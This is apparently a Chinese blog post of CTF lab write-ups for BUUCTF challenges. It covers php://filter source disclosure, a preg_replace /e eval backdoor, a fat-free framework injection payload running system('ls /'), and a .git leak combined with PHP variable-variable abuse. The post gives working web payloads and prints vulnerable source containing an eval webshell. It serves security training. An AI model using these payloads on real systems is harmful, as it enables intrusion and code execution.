DASBOOK2
DASBOOK
3、第二章[BJDCTF2020]ZJCTF,不过如此
-
该关卡使用到的协议有
-
data://
:一种用于在 URL 中嵌入数据的特殊协议。它允许你将数据直接包含在 URL 中,而不是通过传统的 HTTP 请求或文件路径来获取数据。这个协议通常用于将小段数据嵌入到网页或应用程序中,以减少额外的网络请求或文件引用。-
包含纯文本数据的示例:
data:text/plain;charset=utf-8,Hello%20World!
-
包含图像数据的示例(Base64 编码):
data:image/png;base64,iVBORw0KGg...
-
包含 HTML 数据的示例:
data:text/html;charset=utf-8,<html><body><h1>Hello%20World!</h1></body></html
-
-
php://filter
:-
用法:
php://filter/read=convert.base64-encode/resource=example.txt //读取转换为base64编码的源码
-
-
-
实验源码的第一个if条件
构造语句
/?text=data:text/plain,I have a dream
-
测试第二个条件
构造语句
http://afe06cab-da55-4fc9-8381-afc488187841.node4.buuoj.cn:81/ ?text=data:text/plain,I have a dream &file=php://filter/read=convert.base64-encode/resource=next.php
结果如下
-
将响应包发送到Decoder解码,解码后的源码如下所示
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
-
知道了next.php的源码发现,调用getFlag()后,可以执行一句话木马
-
查看文件目录
-
获得flag
-
-
对于为什么用
\S*
4、第二章[HFCTF2021Quals]Unsetme
该关卡是fatfree框架漏洞,从网上大概可以了解一下该漏洞
虎符比赛wp——fat free框架注入漏洞审计学习 - Tlife (hwwg.github.io)
-
构造payload,并查看文件目录,发现flag
?a=a['/']);system('ls /'
-
查看flag
5、2.3.4 案例解析Mark loves cat
-
进入靶场环境,页面看起来像一个私人博客,然后尝试利用dirsearch目录扫描
-
扫描命令
python3 dirsearch.py -u http://6be46d0a-2a29-4705-810e-7cfc644079ac.node4.buuoj.cn:81/ -e * -t 3 -i 200-304
扫描的结果如下:
-
-
发现了
.git
信息泄露,利用Git_Extract
工具获得.git文件中的信息-
安装工具
git clone https://github.com/gakki429/Git_Extract.git
-
利用工具获得源码
python2 git_extract.py http://6be46d0a-2a29-4705-810e-7cfc644079ac.node4.buuoj.cn:81/.git/
-
-
flag文件中没有发现的信息,查看index.php文件中的
<?php include 'flag.php'; $yds = "dog"; $is = "cat"; $handsome = 'yds'; foreach($_POST as $x => $y){ $$x = $y; } /*这是一个foreach循环,用于遍历$_POST数组中的每个元素。在每次循环中,它将键值对中的键赋值给变量$x,并将键值对中的值赋值给与$x同名的变量。换句话说,它会动态创建与$_POST中的每个键名相同的变量,并将其值设置为对应的键值。这可以用来将POST请求中的数据变成变量。*/ foreach($_GET as $x => $y){ $$x = $$y; } /*遍历$_GET数组中的元素,将每个元素的键名赋值给与其同名的变量。这也会动态地创建变量。*/ foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } /*这个foreach循环用于检查$_GET数组中的元素。它检查是否有一个与$_GET['flag']不同的键名,并且如果找到这样的键名,就会通过exit($handsome)语句来结束脚本执行并输出$handsome的值。这似乎是一种检查请求参数的方式,如果请求中包含了不同于'flag'的键名,脚本会输出$handsome的值。*/ if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); }l /*这个条件语句检查是否同时不存在$_GET['flag']和$_POST['flag']。如果两者都不存在,那么脚本会通过exit($yds)语句结束执行并输出$yds的值。*/ if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } /*这个条件语句检查$_POST['flag']或$_GET['flag']是否等于字符串'flag'。如果是,脚本会通过exit($is)语句结束执行并输出$is的值。*/
-
所以这道题解法有
-
直接输入yds=flag,这样代码检测不到输入flag,然后直接输出
$yds
-
或者是利用动态变量,is=flag&flag=flag,先创建一个变量,然后再给变量赋值
-
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)